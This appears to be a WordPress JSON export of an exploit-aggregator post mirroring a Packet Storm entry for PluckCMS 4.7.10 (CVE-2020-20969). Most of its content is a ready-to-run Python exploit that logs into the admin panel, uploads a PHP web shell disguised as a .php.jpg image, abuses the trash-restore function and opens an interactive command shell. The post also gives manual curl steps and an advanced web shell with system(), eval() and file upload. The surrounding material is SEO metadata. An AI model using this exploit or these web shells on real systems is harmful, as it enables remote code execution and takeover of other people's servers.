{"id":41045,"date":"2026-02-16T11:45:45","date_gmt":"2026-02-16T11:45:45","guid":{"rendered":"http:\/\/localhost\/?p=41045"},"modified":"2026-02-16T11:45:45","modified_gmt":"2026-02-16T11:45:45","slug":"pluckcms-4710-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41045","title":{"rendered":"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:13:25&#8243;,&#8221;description&#8221;:&#8221;PluckCMS version 4.7.10 remote shell upload proof of concept exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215639&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-20969&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : PluckCMS 4.7.10 Unrestricted File Upload RCE                                                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/pluck-cms\/pluck\/                                                                                         |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212393\/ \\u0026  \\tCVE-2020-20969\\n    \\n    [+] Summary : The trash restoration functionality (\/admin.php?action=trash_restoreitem) fails to properly validate file extensions when restoring files from the trash directory, \\n                  allowing attackers to restore malicious PHP files with double extensions (e.g., .php.jpg) that were previously uploaded to the system.\\t\\t\\t \\n    \\t\\t\\t  \\n    [+]  POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import sys\\n    import time\\n    import os\\n    from urllib.parse import urljoin\\n    \\n    class PluckCMSExploit:\\n        def __init__(self, target_url, username, password):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.session = requests.Session()\\n            self.username = username\\n            self.password = password\\n            \\n        def login(self):\\n            \\&#8221;\\&#8221;\\&#8221;Login to PluckCMS admin panel\\&#8221;\\&#8221;\\&#8221;\\n            login_url = urljoin(self.target_url, &#8216;\/admin.php&#8217;)\\n            \\n            # First get the login page to obtain any required tokens\\n            print(\\&#8221;[*] Getting login page&#8230;\\&#8221;)\\n            response = self.session.get(login_url)\\n            \\n            # Prepare login data (adjust field names based on actual form)\\n            login_data = {\\n                &#8216;cont1&#8217;: self.username,\\n                &#8216;cont2&#8217;: self.password,\\n                &#8216;submit&#8217;: &#8216;Log in&#8217;\\n            }\\n            \\n            print(f\\&#8221;[*] Attempting login as {self.username}&#8230;\\&#8221;)\\n            response = self.session.post(login_url, data=login_data)\\n            \\n            # Check if login was successful\\n            if &#8216;admin.php&#8217; in response.url and &#8216;action=page&#8217; in response.text:\\n                print(\\&#8221;[+] Login successful!\\&#8221;)\\n                return True\\n            else:\\n                print(\\&#8221;[-] Login failed!\\&#8221;)\\n                return False\\n        \\n        def upload_malicious_file(self):\\n            \\&#8221;\\&#8221;\\&#8221;Upload a file with double extension (.php.jpg)\\&#8221;\\&#8221;\\&#8221;\\n            upload_url = urljoin(self.target_url, &#8216;\/admin.php?action=files&#8217;)\\n            \\n            # Create a malicious PHP file with backdoor\\n            php_shell = \\&#8221;\\&#8221;\\&#8221;\\u003c?php\\n    if(isset($_GET[&#8216;cmd&#8217;])) {\\n        system($_GET[&#8216;cmd&#8217;]);\\n    } else {\\n        echo \\&#8221;PluckCMS RCE &#8211; CVE-2020-20969\\&#8221;;\\n    }\\n    ?\\u003e\\&#8221;\\&#8221;\\&#8221;\\n            \\n            # Write to local file first\\n            with open(&#8216;exploit.php.jpg&#8217;, &#8216;w&#8217;) as f:\\n                f.write(php_shell)\\n            \\n            # Prepare the upload\\n            files = {\\n                &#8216;uploadfile&#8217;: (&#8216;exploit.php.jpg&#8217;, open(&#8216;exploit.php.jpg&#8217;, &#8216;rb&#8217;), &#8216;image\/jpeg&#8217;)\\n            }\\n            \\n            data = {\\n                &#8216;sendfile&#8217;: &#8216;Upload&#8217;\\n            }\\n            \\n            print(\\&#8221;[*] Uploading malicious file (exploit.php.jpg)&#8230;\\&#8221;)\\n            response = self.session.post(upload_url, files=files, data=data)\\n            \\n            # Clean up local file\\n            os.remove(&#8216;exploit.php.jpg&#8217;)\\n            \\n            if &#8216;exploit.php.jpg&#8217; in response.text:\\n                print(\\&#8221;[+] File uploaded successfully!\\&#8221;)\\n                return True\\n            else:\\n                print(\\&#8221;[-] File upload failed!\\&#8221;)\\n                return False\\n        \\n        def move_to_trash(self):\\n            \\&#8221;\\&#8221;\\&#8221;Move the file to trash (simulate user action)\\&#8221;\\&#8221;\\&#8221;\\n            # This would normally be done through the admin interface\\n            # For the PoC, we&#8217;ll assume the file is in trash\\n            print(\\&#8221;[*] Note: You need to move &#8216;exploit.php.jpg&#8217; to trash via admin interface\\&#8221;)\\n            print(\\&#8221;[*] Or ensure it exists in data\/trash\/files\/ directory\\&#8221;)\\n            return True\\n        \\n        def exploit_trash_restore(self):\\n            \\&#8221;\\&#8221;\\&#8221;Exploit the trash restoration vulnerability\\&#8221;\\&#8221;\\&#8221;\\n            exploit_url = urljoin(self.target_url, &#8216;\/admin.php?action=trash_restoreitem\\u0026var1=exploit.php.jpg\\u0026var2=file&#8217;)\\n            \\n            print(\\&#8221;[*] Exploiting trash restoration vulnerability&#8230;\\&#8221;)\\n            response = self.session.get(exploit_url)\\n            \\n            if response.status_code == 200:\\n                print(\\&#8221;[+] Trash restoration successful!\\&#8221;)\\n                \\n                # Verify the file was restored\\n                check_url = urljoin(self.target_url, &#8216;\/files\/exploit_copy.php&#8217;)\\n                response = self.session.get(check_url)\\n                \\n                if &#8216;PluckCMS RCE&#8217; in response.text:\\n                    print(\\&#8221;[+] Exploit confirmed! File accessible at:\\&#8221;)\\n                    print(f\\&#8221;    {check_url}\\&#8221;)\\n                    return True\\n            return False\\n        \\n        def execute_command(self, command):\\n            \\&#8221;\\&#8221;\\&#8221;Execute a command on the target\\&#8221;\\&#8221;\\&#8221;\\n            cmd_url = urljoin(self.target_url, f&#8217;\/files\/exploit_copy.php?cmd={command}&#8217;)\\n            \\n            print(f\\&#8221;[*] Executing command: {command}\\&#8221;)\\n            response = self.session.get(cmd_url)\\n            \\n            if response.status_code == 200:\\n                print(\\&#8221;[+] Command output:\\&#8221;)\\n                print(response.text.strip())\\n                return response.text\\n            return None\\n        \\n        def run(self):\\n            \\&#8221;\\&#8221;\\&#8221;Run the complete exploit chain\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] PluckCMS 4.7.10 &#8211; Unrestricted File Upload RCE (CVE-2020-20969)\\&#8221;)\\n            print(f\\&#8221;[*] Target: {self.target_url}\\&#8221;)\\n            \\n            # Step 1: Login\\n            if not self.login():\\n                return\\n            \\n            # Step 2: Upload malicious file\\n            if not self.upload_malicious_file():\\n                print(\\&#8221;[-] Upload failed. Continuing with assumption file exists&#8230;\\&#8221;)\\n            \\n            # Step 3: User needs to move file to trash manually\\n            self.move_to_trash()\\n            \\n            input(\\&#8221;[*] Press Enter after moving exploit.php.jpg to trash via admin panel&#8230;\\&#8221;)\\n            \\n            # Step 4: Exploit trash restoration\\n            if self.exploit_trash_restore():\\n                # Step 5: Test command execution\\n                print(\\&#8221;\\\\n[*] Testing command execution&#8230;\\&#8221;)\\n                self.execute_command(&#8216;whoami&#8217;)\\n                self.execute_command(&#8216;pwd&#8217; if &#8216;linux&#8217; in sys.platform else &#8216;dir&#8217;)\\n                \\n                # Interactive shell\\n                print(\\&#8221;\\\\n[+] Interactive shell mode (type &#8216;exit&#8217; to quit)\\&#8221;)\\n                while True:\\n                    cmd = input(\\&#8221;shell\\u003e \\&#8221;).strip()\\n                    if cmd.lower() in [&#8216;exit&#8217;, &#8216;quit&#8217;]:\\n                        break\\n                    if cmd:\\n                        self.execute_command(cmd)\\n            else:\\n                print(\\&#8221;[-] Exploit failed. Possible reasons:\\&#8221;)\\n                print(\\&#8221;    &#8211; File not in trash directory\\&#8221;)\\n                print(\\&#8221;    &#8211; Different file naming\\&#8221;)\\n                print(\\&#8221;    &#8211; Already patched\\&#8221;)\\n    \\n    # Manual exploitation using curl commands\\n    def manual_exploit_curl():\\n        \\&#8221;\\&#8221;\\&#8221;Manual exploitation steps using curl\\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n        print(\\&#8221;MANUAL EXPLOITATION WITH CURL\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*60)\\n        \\n        manual_steps = \\&#8221;\\&#8221;\\&#8221;\\n    STEP 1: Login and get session cookie\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    curl -c cookies.txt -X POST {target}\/admin.php \\\\\\\\\\n      -d \\&#8221;cont1=admin\\u0026cont2=password\\u0026submit=Log+in\\&#8221;\\n    \\n    STEP 2: Upload malicious file (if needed)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    curl -b cookies.txt -X POST {target}\/admin.php?action=files \\\\\\\\\\n      -F \\&#8221;uploadfile=@exploit.php.jpg\\&#8221; \\\\\\\\\\n      -F \\&#8221;sendfile=Upload\\&#8221;\\n    \\n    STEP 3: Exploit trash restoration\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    curl -b cookies.txt \\\\\\\\\\n      \\&#8221;{target}\/admin.php?action=trash_restoreitem\\u0026var1=exploit.php.jpg\\u0026var2=file\\&#8221;\\n    \\n    STEP 4: Execute commands\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    curl \\&#8221;{target}\/files\/exploit_copy.php?cmd=id\\&#8221;\\n    \\n    STEP 5: Clean up\\n    &#8212;&#8212;&#8212;&#8212;&#8212;-\\n    curl -b cookies.txt \\\\\\\\\\n      \\&#8221;{target}\/admin.php?action=files\\u0026var=exploit_copy.php\\u0026action2=delete\\&#8221;\\n        \\&#8221;\\&#8221;\\&#8221;.format(target=\\&#8221;http:\/\/target.com\\&#8221;)\\n        \\n        print(manual_steps)\\n    \\n    # Web shell content\\n    def generate_webshell():\\n        \\&#8221;\\&#8221;\\&#8221;Generate a more advanced web shell\\&#8221;\\&#8221;\\&#8221;\\n        advanced_shell = \\&#8221;\\&#8221;\\&#8221;\\u003c?php\\n    \/\/ PluckCMS CVE-2020-20969 Web Shell\\n    error_reporting(0);\\n    echo \\&#8221;\\u003cpre\\u003e\\&#8221;;\\n    \\n    \/\/ Command execution\\n    if(isset($_GET[&#8216;cmd&#8217;])) {\\n        system($_GET[&#8216;cmd&#8217;]);\\n    }\\n    \\n    \/\/ File upload\\n    if(isset($_FILES[&#8216;file&#8217;])) {\\n        move_uploaded_file($_FILES[&#8216;file&#8217;][&#8216;tmp_name&#8217;], $_FILES[&#8216;file&#8217;][&#8216;name&#8217;]);\\n        echo \\&#8221;File uploaded!\\&#8221;;\\n    }\\n    \\n    \/\/ PHP code execution\\n    if(isset($_POST[&#8216;code&#8217;])) {\\n        eval($_POST[&#8216;code&#8217;]);\\n    }\\n    \\n    \/\/ Show upload form\\n    echo &#8216;\\n    \\u003cform method=\\&#8221;POST\\&#8221; enctype=\\&#8221;multipart\/form-data\\&#8221;\\u003e\\n    \\u003cinput type=\\&#8221;file\\&#8221; name=\\&#8221;file\\&#8221;\\u003e\\n    \\u003cinput type=\\&#8221;submit\\&#8221; value=\\&#8221;Upload\\&#8221;\\u003e\\n    \\u003c\/form\\u003e\\n    \\n    \\u003cform method=\\&#8221;POST\\&#8221;\\u003e\\n    \\u003ctextarea name=\\&#8221;code\\&#8221; rows=\\&#8221;10\\&#8221; cols=\\&#8221;80\\&#8221;\\u003e\\u003c\/textarea\\u003e\\u003cbr\\u003e\\n    \\u003cinput type=\\&#8221;submit\\&#8221; value=\\&#8221;Execute PHP\\&#8221;\\u003e\\n    \\u003c\/form\\u003e\\n    &#8216;;\\n    echo \\&#8221;\\u003c\/pre\\u003e\\&#8221;;\\n    ?\\u003e\\&#8221;\\&#8221;\\&#8221;\\n        \\n        # Save the web shell\\n        with open(&#8216;webshell.php.jpg&#8217;, &#8216;w&#8217;) as f:\\n            f.write(advanced_shell)\\n        print(\\&#8221;[+] Advanced web shell saved as &#8216;webshell.php.jpg&#8217;\\&#8221;)\\n        return advanced_shell\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        if len(sys.argv) != 4:\\n            print(\\&#8221;Usage: python3 pluck_exploit.py \\u003ctarget_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\&#8221;)\\n            print(\\&#8221;Example: python3 pluck_exploit.py http:\/\/localhost\/pluck admin admin123\\&#8221;)\\n            print(\\&#8221;\\\\nExample manual steps:\\&#8221;)\\n            manual_exploit_curl()\\n            \\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;QUICK MANUAL METHOD:\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;\\&#8221;\\&#8221;\\n    1. Login to admin panel\\n    2. Upload a file named &#8216;exploit.php.jpg&#8217; with this content:\\n       \\u003c?php system($_GET[&#8216;cmd&#8217;]); ?\\u003e\\n       \\n    3. Move the file to trash via admin interface\\n       \\n    4. Send this request (replace PHPSESSID with your session):\\n       GET \/admin.php?action=trash_restoreitem\\u0026var1=exploit.php.jpg\\u0026var2=file\\n       \\n    5. Access your shell:\\n       http:\/\/target\/files\/exploit_copy.php?cmd=id\\n            \\&#8221;\\&#8221;\\&#8221;)\\n            \\n            # Ask if user wants to generate a web shell\\n            if input(\\&#8221;\\\\nGenerate web shell file? (y\/n): \\&#8221;).lower() == &#8216;y&#8217;:\\n                generate_webshell()\\n            \\n            sys.exit(1)\\n        \\n        target = sys.argv[1]\\n        username = sys.argv[2]\\n        password = sys.argv[3]\\n        \\n        exploit = PluckCMSExploit(target, username, password)\\n        exploit.run()\\n    \\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215639&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.2,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215639\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:13:25&#8243;,&#8221;description&#8221;:&#8221;PluckCMS version 4.7.10 remote shell upload proof of concept exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215639&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-20969&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title : PluckCMS 4.7.10 Unrestricted File Upload RCE |\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-41045","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41045\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:13:25&#8243;,&#8221;description&#8221;:&#8221;PluckCMS version 4.7.10 remote shell upload proof of concept exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215639&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-20969&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : PluckCMS 4.7.10 Unrestricted File Upload RCE |n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41045\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-16T11:45:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41045#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41045\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639\",\"datePublished\":\"2026-02-16T11:45:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41045\"},\"wordCount\":1631,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.2\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41045#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41045\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41045\",\"name\":\"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-16T11:45:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41045#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41045\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41045#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41045","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:13:25&#8243;,&#8221;description&#8221;:&#8221;PluckCMS version 4.7.10 remote shell upload proof of concept exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215639&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-20969&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : PluckCMS 4.7.10 Unrestricted File Upload RCE |n...","og_url":"https:\/\/zero.redgem.net\/?p=41045","og_site_name":"zero redgem","article_published_time":"2026-02-16T11:45:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41045#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41045"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639","datePublished":"2026-02-16T11:45:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41045"},"wordCount":1631,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.2","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41045#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41045","url":"https:\/\/zero.redgem.net\/?p=41045","name":"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-16T11:45:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41045#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41045"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41045#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 PluckCMS 4.7.10 Shell Upload_PACKETSTORM:215639"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero 